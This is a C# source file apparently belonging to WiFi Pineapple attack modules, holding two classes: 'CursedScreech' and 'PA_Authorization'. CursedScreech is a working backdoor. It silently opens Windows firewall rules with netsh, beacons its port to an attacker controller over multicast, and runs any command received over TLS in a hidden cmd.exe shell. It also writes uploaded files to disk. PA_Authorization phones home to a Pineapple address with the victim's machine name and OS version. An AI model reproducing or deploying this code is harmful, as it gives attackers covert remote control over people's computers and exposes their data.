2017-11-16 16:42:22 +11:00

391 lines
16 KiB
C#

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Security;
using System.Net.Sockets;
using System.Reflection;
using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace PineappleModules
{
/*
*
* Class: CursedScreech
* Author: sud0nick
* Created: March 3, 2016
* Updated: September 17, 2016
*
* A class that sets up a multicast thread to broadcast back
* to the Pineapple on which port it is listening, sets up a
* server thread for executing remote shell commands secured via
* TLS 1.2, and establishes firewall rules to perform said actions
* unbeknownst to the target.
*
*/
public class CursedScreech
{
// ==================================================
// CLASS ATTRIBUTES
// ==================================================
private SslStream sslStream;
private string msg = "";
private int lport = 0;
private static string certSerial = "";
private static string certHash = "";
private string command = "";
private Boolean recvFile = false;
private byte[] fileBytes;
private int fileBytesLeftToRead = 0;
private string fileName = "";
private string storeDir = "";
private readonly string exePath = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
private readonly string exeName = Path.GetFileNameWithoutExtension(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName);
// ==================================================
// CURSED SCREECH INITIALIZER
// ==================================================
public CursedScreech() {
// Get the current path and name of the executable to set up rules for it in the firewall
string addTCPRule = "netsh advfirewall firewall add rule name=\"" + exeName + "\" program=\"" + exePath + "\" protocol=TCP dir=in localport=xxxxx action=allow";
string delFirewallRule = "netsh advfirewall firewall delete rule name=\"" + exeName + "\"";
// Generate a random port on which to listen for commands from Kuro
Random rnd = new Random();
lport = rnd.Next(10000, 65534);
// Delete old firewall rules
exec(delFirewallRule);
// Add new firewall rule
exec(addTCPRule.Replace("xxxxx", lport.ToString()));
}
// ===========================================================
// OPTIONAL METHODS TO SET EXPECTED CERTIFICATE PROPERTIES
// ===========================================================
public void setRemoteCertificateHash(string hash) {
certHash = hash;
}
public void setRemoteCertificateSerial(string serial) {
certSerial = serial;
}
// ==================================================
// METHOD TO START THE MULTICAST THREAD
// ==================================================
public void startMulticaster(string address, int port, int heartbeatInterval = 5) {
string addUDPRule = "netsh advfirewall firewall add rule name=\"" + exeName + "\" program=\"" + exePath + "\" protocol=UDP dir=out localport=" + port + " action=allow";
exec(addUDPRule);
new Thread(() => {
UdpClient udpclient = new UdpClient(port);
IPAddress mcastAddr = IPAddress.Parse(address);
udpclient.JoinMulticastGroup(mcastAddr);
IPEndPoint kuro = new IPEndPoint(mcastAddr, port);
while (true) {
Byte[] buffer = null;
string localIP = localAddress();
if (localIP.Length == 0) {
localIP = "0.0.0.0";
}
// If a message is available to be sent then do so
if (msg.Length > 0) {
msg = "msg:" + msg;
buffer = Encoding.ASCII.GetBytes(msg);
udpclient.Send(buffer, buffer.Length, kuro);
msg = "";
}
// Send the listening socket information to Kuro
buffer = Encoding.ASCII.GetBytes(localIP + ":" + lport.ToString());
udpclient.Send(buffer, buffer.Length, kuro);
//Console.WriteLine("Sent heartbeat to Kuro");
// Sleep for however long the heartbeat interval is set
Thread.Sleep(heartbeatInterval * 1000);
}
}).Start();
}
// ====================================================
// MULTITHREADED SECURE LISTENER WITH SHELL EXECUTION
// ====================================================
public void startSecureServerThread(string key, string keyPassword) {
new Thread(() => startSecureServer(key, keyPassword)).Start();
}
// ====================================================
// BLOCKING SECURE SERVER
// ====================================================
public void startSecureServer(string key, string keyPassword) {
// Create a socket for the listener
IPAddress ipAddress = IPAddress.Parse("0.0.0.0");
IPEndPoint localEndPoint = new IPEndPoint(ipAddress, lport);
TcpListener listener = new TcpListener(localEndPoint);
// Read the certificate information from file. This should be a .pfx container
// with a private and public key so we can be verified by Kuro
X509Certificate2 csKey = loadKeys(key, keyPassword);
// Tell the thread to operate in the background
Thread.CurrentThread.IsBackground = true;
bool connected = false;
TcpClient client = new TcpClient();
Int32 numBytesRecvd = 0;
try {
// Start listening
listener.Start();
while (true) {
// Begin listening for connections
client = listener.AcceptTcpClient();
try {
this.sslStream = new SslStream(client.GetStream(), false, atkCertValidation);
this.sslStream.AuthenticateAsServer(csKey, true, (SslProtocols.Tls12 | SslProtocols.Tls11 | SslProtocols.Tls), false);
connected = true;
while (connected) {
byte[] cmdRecvd = new Byte[4096];
numBytesRecvd = this.sslStream.Read(cmdRecvd, 0, cmdRecvd.Length);
if (numBytesRecvd < 1) {
connected = false;
client.Close();
break;
}
// If a file is being received we don't want to decode the data because we
// need to store the raw bytes of the file
if (this.recvFile) {
int numBytesToCopy = cmdRecvd.Length;
if (this.fileBytesLeftToRead < cmdRecvd.Length) {
numBytesToCopy = this.fileBytesLeftToRead;
}
// Append the received bytes to the fileBytes array
System.Buffer.BlockCopy(cmdRecvd, 0, this.fileBytes, (this.fileBytes.Length - this.fileBytesLeftToRead), numBytesToCopy);
this.fileBytesLeftToRead -= numBytesRecvd;
// If we have finished reading the file, store it on the system
if (this.fileBytesLeftToRead < 1) {
// Let the system know we've received the whole file
this.recvFile = false;
// Store the file on the system
storeFile(this.storeDir, this.fileName, this.fileBytes);
// Clear the fileName and fileBytes variables
this.fileName = "";
this.fileBytes = new Byte[1];
}
} else {
// Assign the decrytped message to the command string
this.command = Encoding.ASCII.GetString(cmdRecvd, 0, numBytesRecvd);
Thread shellThread = new Thread(() => sendMsg());
shellThread.Start();
}
}
}
catch (Exception) {
connected = false;
client.Close();
break;
}
}
}
catch (Exception) { }
}
// ==================================================
// METHOD TO SEND DATA TO KURO
// ==================================================
private void sendMsg() {
string msg = this.command;
this.command = "";
// Check if we are about to receive a file and prepare
// the appropriate variables to receive it
// Msg format is sendfile:fileName:byteArraySize
if (msg.Contains("sendfile;")) {
this.recvFile = true;
string[] msgParts = msg.Split(';');
this.fileName = msgParts[1];
this.fileBytesLeftToRead = Int32.Parse(msgParts[2]);
this.storeDir = msgParts[3];
this.fileBytes = new Byte[this.fileBytesLeftToRead];
} else {
// If we are not expecting a file we simply execute
// the received command in the shell and return the results
string ret = exec(msg);
if (ret.Length > 0) {
byte[] retMsg = Encoding.ASCII.GetBytes(ret);
this.sslStream.Write(retMsg, 0, retMsg.Length);
}
}
}
// ==================================================
// METHOD TO GET THE LOCAL IP ADDRESS
// ==================================================
private string localAddress() {
IPHostEntry host = Dns.GetHostEntry(Dns.GetHostName());
foreach (IPAddress ip in host.AddressList) {
if (ip.AddressFamily == AddressFamily.InterNetwork) {
return ip.ToString();
}
}
return "";
}
// ==================================================
// METHOD TO EXECUTE A SHELL COMMAND
// ==================================================
private static string exec(string args) {
System.Diagnostics.Process proc = new System.Diagnostics.Process();
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
startInfo.CreateNoWindow = true;
startInfo.UseShellExecute = false;
startInfo.RedirectStandardOutput = true;
startInfo.FileName = "cmd.exe";
startInfo.Arguments = "/C " + args;
proc.StartInfo = startInfo;
proc.Start();
proc.WaitForExit(2000);
return proc.StandardOutput.ReadToEnd();
}
// ==================================================
// METHOD TO STORE A RECEIVED FILE
// ==================================================
private void storeFile(string dir, string name, byte[] file) {
// If the directory doesn't exist, create it
Directory.CreateDirectory(dir);
// Write the file out to the directory
File.WriteAllBytes(dir + name, file);
// Tell Kuro the file was stored
byte[] retMsg = Encoding.ASCII.GetBytes("Received and stored file " + name + " in directory " + dir);
this.sslStream.Write(retMsg, 0, retMsg.Length);
}
// ==================================================
// METHOD TO LOAD KEYS FROM A PFX
// ==================================================
private X509Certificate2 loadKeys(string key, string password) {
var certStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(key);
byte[] bytes = new byte[certStream.Length];
certStream.Read(bytes, 0, bytes.Length);
return new X509Certificate2(bytes, password);
}
// ==================================================
// METHOD TO VERIFY KURO'S CERTIFICATE
// ==================================================
private static bool atkCertValidation(Object sender, X509Certificate cert, X509Chain chain, SslPolicyErrors sslPolicyErrors) {
//Console.WriteLine(BitConverter.ToString(cert.GetSerialNumber()));
//Console.WriteLine(cert.GetCertHashString());
if (certSerial != "") {
if (BitConverter.ToString(cert.GetSerialNumber()) != certSerial) { return false; }
}
if (certHash != "") {
if (cert.GetCertHashString() != certHash) { return false; }
}
if (sslPolicyErrors == SslPolicyErrors.None) { return true; }
if (sslPolicyErrors == SslPolicyErrors.RemoteCertificateChainErrors) { return true; }
return false;
}
}
/*
*
* Class: PA_Authorization
* Author: sud0nick
* Date: July 16, 2016
*
* A class for interacting with Portal Auth Shell Server
* This class simply connects back to the PASS script on
* the Pineapple, supplies some system info, and retrieves
* an access key for the victim to log on to the portal.
*
*/
public class PA_Authorization {
private string rHost;
private int rPort;
private string accessKey = "";
public PA_Authorization(string remoteHost = "172.16.42.1", int remotePort = 4443) {
rHost = remoteHost;
rPort = remotePort;
}
public string getAccessKey() {
// Establish a new socket to connect back to the Pineapple
TcpClient c_bk = new TcpClient();
try {
c_bk.Connect(rHost, rPort);
}
catch {
return "";
}
NetworkStream pa_stream = c_bk.GetStream();
// Send system information to PortalAuth
string systemInfo = "0;" + System.Environment.MachineName + ";" + System.Environment.OSVersion;
byte[] sysinfo = Encoding.ASCII.GetBytes(systemInfo);
pa_stream.Write(sysinfo, 0, sysinfo.Length);
// Get the access key back from PortalAuth
byte[] msgRecvd = new Byte[1024];
Int32 bytesRecvd = 0;
bytesRecvd = pa_stream.Read(msgRecvd, 0, msgRecvd.Length);
if (bytesRecvd < 1) {
c_bk.Close();
return "";
}
else {
accessKey = Encoding.ASCII.GetString(msgRecvd, 0, bytesRecvd);
}
// Close the connection
c_bk.Close();
// Return accessKey with either an error message or the key that was received
return accessKey;
}
}
}